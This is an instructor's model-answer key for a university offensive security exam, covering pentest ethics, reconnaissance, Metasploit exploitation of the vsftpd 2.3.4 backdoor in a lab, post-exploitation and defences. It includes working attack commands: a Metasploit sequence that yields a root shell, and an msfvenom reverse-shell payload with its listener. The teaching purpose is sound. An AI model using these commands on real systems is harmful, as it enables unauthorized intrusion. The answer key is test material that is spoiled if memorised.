

Offensive Security — Solutions

Instructor copy — model answers & marking notes

Cyber Security Master Lecture

June 7, 2026

Answers are model solutions; award partial credit for equivalent reasoning. Exact version numbers/IPs depend on the lab build.

1. Concepts & Ethics

Solution 1.1 (*terminology*)

Vulnerability scan: automated, breadth-first detection of *known* weaknesses; no exploitation. Goal: inventory of potential issues. Deliverable: a (often tool-generated) list of findings with severities.

Penetration test: time-boxed, goal to *find and prove* exploitable issues within a defined scope. Goal: demonstrate real impact. Deliverable: a report with verified findings, evidence, and remediation.

Red team: objective-driven adversary emulation testing *detection and response*, with stealth. Goal: reach a specific objective and measure the blue team. Deliverable: attack narrative mapped to ATT&CK + detection gaps.

Marking: 2 pts each (goal + deliverable).

Solution 1.2 (*boxes*)

This is a **grey-box** test (partial knowledge: an account + diagram, no source).

Advantage: more efficient/thorough — the tester spends time on real issues rather than rediscovering the topology, giving better coverage in a fixed budget.

Limitation: less realistic for an external-attacker scenario; the provided knowledge may bias the test and skip the “how would an outsider even get this far” question.

Solution 1.3 (*legal*)

Required before any scanning: **(1)** a signed contract / Statement of Work defining scope and deliverables; **(2)** explicit written **authorization** from someone who *owns* the target assets (not just “a contact”); **(3)** agreed Rules of Engagement (allowed techniques, testing window, emergency contacts).

Legal risk: “knowing the people” is not consent. An unauthorized scan already constitutes unlawful access/spying on data (§202a/b StGB; CFAA in the US) — criminal liability, civil damages, and loss of professional standing, regardless of intent.

Solution 1.4 (*killchain*)

(a) dumping hashes → **Post-Exploitation**; (b) cert-transparency lookup → **Recon** (passive); (c) reusing hashes on another host → **Lateral Movement**; (d) writing CVSS scores → **Reporting**. *1 pt each.*

2. Reconnaissance & Enumeration

Solution 2.1 (*nmap-basics*)

On Metasploitable 2 a typical scan shows (versions approximate):

```
21/tcp    ftp      vsftpd 2.3.4
22/tcp    ssh      OpenSSH 4.7p1
23/tcp    telnet   Linux telnetd
25/tcp    smtp     Postfix smtpd
80/tcp    http     Apache httpd 2.2.8
139/445   smb      Samba smbd 3.0.20
3306/tcp  mysql    MySQL 5.0.51a
```

The **suspicious one is vsftpd 2.3.4**: that specific release was distributed with a *backdoor* (connecting with a username ending in :) opens a root shell on port 6200). Also acceptable: noting Telnet (cleartext) or the very old Samba/Apache versions. *5 services = 5 pts.*

Solution 2.2 (*nmap-scripts*)

Examples (any two valid): **ftp-anon** — reports anonymous FTP login is allowed; **smb-os-discovery** — reveals OS, hostname, workgroup; **http-title** — grabs the web app's page title hinting at running apps (e.g. DVWA, phpMyAdmin); **ssh-hostkey** — enumerates host keys. *2 pts each, must state what was revealed.*

Solution 2.3 (*passive*)

Three sources: **DNS / WHOIS** — registered domains, name servers, mail records, registrant info; **Certificate Transparency** (crt.sh) — subdomains from issued TLS certs without touching the target; **Shodan/Censys** — internet-wide scan data showing exposed services, banners, and open ports already indexed. Also accept: Google dorking, **theHarvester**, LinkedIn/OSINT for employees, breach databases. *2 pts per source with its yield.*

3. Exploitation with Metasploit

Solution 3.1 (*msf-workflow*)

```
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS <TARGET>
msf6 exploit(...) > run
[+] ... Command shell session 1 opened ...
> whoami
root
> id
uid=0(root) gid=0(root)
```

The backdoor yields a **root** shell directly (no privilege escalation needed), because the malicious code runs as the FTP daemon's user, which is root here. *Commands 4 pts, proof of shell + correct privilege 4 pts.*

Solution 3.2 (*module-types*)

vsftpd_234_backdoor is an **exploit** module.

Other types — **auxiliary**: e.g. auxiliary/scanner/portscan/tcp or an SMB version scanner (recon/fuzzing, no payload). **post**: e.g. post/multi/recon/local_exploit_suggester or post/linux/gather/hashdump (run *after* a session exists to gather data / escalate). Bonus mention: payloads, encoders, nops. *2 pts identification + 2 pts per other type.*

Solution 3.3 (*payload-choice*)

Bind payload: opens a listening port *on the target*; the attacker connects *in*. **Reverse** payload: the target connects *out* back to the attacker's listener.

Behind a firewall blocking inbound but allowing outbound, choose **reverse**: the connection originates from inside the network, so it traverses the firewall (and often NAT) where an inbound bind connection would be dropped.

Solution 3.4 (*msfvenom*)

```
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=<KALI_IP> LPORT=4444 -f elf -o shell.elf
```

Matching listener:

```
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/shell_reverse_tcp
msf6 > set LHOST <KALI_IP>
msf6 > set LPORT 4444
msf6 > run          # waits for the payload to call back
```

Key point: the handler's PAYLOAD/LHOST/LPORT must exactly match the generated payload. 3 pts msfvenom, 3 pts handler.

4. Post-Exploitation & Red Team Thinking

Solution 4.1 (*postex*)

A reasonable order: **(1) Situational awareness** — whoami/id, uname -a, network config, who else is logged in (understand where you are). **(2) Privilege escalation** — hunt for kernel/config/SUID issues to reach root/SYSTEM. **(3) Credential harvesting** — dump hashes, config files, keys for reuse. **(4) Persistence & lateral movement** — establish a way back and map adjacent hosts. Accept other sensible orderings if goals are correct. *1.5 pts each.*

Solution 4.2 (*pivot*)

Pivoting / lateral movement = using a compromised host as a stepping stone to reach systems that are not directly accessible from the attacker (often on an internal segment). It loops back to enumeration because each new foothold exposes a *new* internal network that must be scanned and enumerated from scratch. Enabling feature: Meterpreter's portfwd or autoroute + SOCKS proxy (auxiliary/server/socks_proxy).

Solution 4.3 (*redvsblue*)

Success argument: the team validated a real attack path to domain admin — the organisation now knows the exposure exists. **Failure-for-the-attacker / success-for-defender argument:** they were *detected*, which for a red team is arguably the desired outcome — it proves the SOC works.

The **primary deliverable of a red team** is not the list of vulnerabilities (that’s a pen-test) but an assessment of *detection and response*: what the blue team saw, missed, and how fast they reacted. “Getting caught” is data, not failure. *Full marks require naming detection/response as the goal.*

Solution 4.4 (*defence*)

Examples (any three technique→control pairs):

- *vsftpd backdoor* → patch/configuration management; remove unmaintained services; software integrity verification.
- *Hash dumping* → least privilege so a service isn’t root; strong/slow hashing + long passwords; credential guard / LSASS protection; detect with EDR.
- *Reverse shell egress* → egress filtering / proxy; network segmentation; IDS/IPS and EDR alerting on anomalous outbound connections.
- *Lateral movement* → network segmentation, MFA, disabling legacy auth, monitoring for pass-the-hash.

2 pts per valid pair.

Challenge — marking guide**Solution 4.5** (*capstone*)

Award bonus for a finding that contains *all* report elements: clear title (e.g. “Unauthenticated Remote Root via vsftpd 2.3.4 Backdoor”); a defensible **CVSS** vector (this one is effectively Critical, 9.8: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); affected asset (target IP/service); description of root cause; numbered reproduction steps; evidence (command output / screenshot of `whoami=root`); and concrete remediation (upgrade/replace vsftpd, restrict the service, network controls). Deduct for missing reproduction steps or hand-wavy remediation.